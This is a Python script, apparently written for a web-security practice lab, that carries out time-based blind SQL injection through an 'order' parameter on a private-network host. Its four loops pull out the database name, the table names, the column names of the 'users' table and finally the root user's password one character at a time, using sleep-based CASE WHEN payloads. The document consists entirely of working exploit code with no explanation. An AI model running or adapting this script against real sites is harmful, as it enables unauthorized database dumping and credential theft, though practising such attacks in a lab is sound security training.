#注数据库名 database = "" flag = 0 for i in range(1,50): #print("开始对数据库名的第"+str(i)+"位进行注入") for j in range(48,123): #print("[+]checking "+chr(j)) url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr(database(),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23" r = requests.get(url) t = r.elapsed.total_seconds() if t>=4: database = database + chr(j) print("成功注出数据库名的第"+str(i)+"位: "+chr(j)) flag = 1 break if flag == 0and j == 122: print("数据库名: "+database) break else: flag = 0
#注数据表名 table_name = "" flag = 0 for i in range(1,50): for j in range(44,123): url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23" r = requests.get(url) t = r.elapsed.total_seconds() if t>=4: table_name = table_name + chr(j) print("成功注出数据表名的第"+str(i)+"位: "+chr(j)) flag = 1 break if flag == 0and j == 122: print("数据表名: "+table_name) break else: flag = 0
#注users表下的所有数据列名 column_name = "" flag = 0 for i in range(1,50): for j in range(44,123): url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23" r = requests.get(url) t = r.elapsed.total_seconds() if t>=4: column_name = column_name + chr(j) print("成功注出数据表名的第"+str(i)+"位: "+chr(j)) flag = 1 break if flag == 0and j == 122: print("users表下的所有数据列名: "+column_name) break else: flag = 0
#注root用户的密码 passwd = "" flag = 0 for i in range(1,50): for j in range(44,123): url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr((select passwd from users where name=0x726f6f74),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23" r = requests.get(url) t = r.elapsed.total_seconds() if t>=4: passwd = passwd + chr(j) print("成功注出root用户的密码的第"+str(i)+"位: "+chr(j)) flag = 1 break if flag == 0and j == 122: print("root用户的密码: "+passwd) break else: flag = 0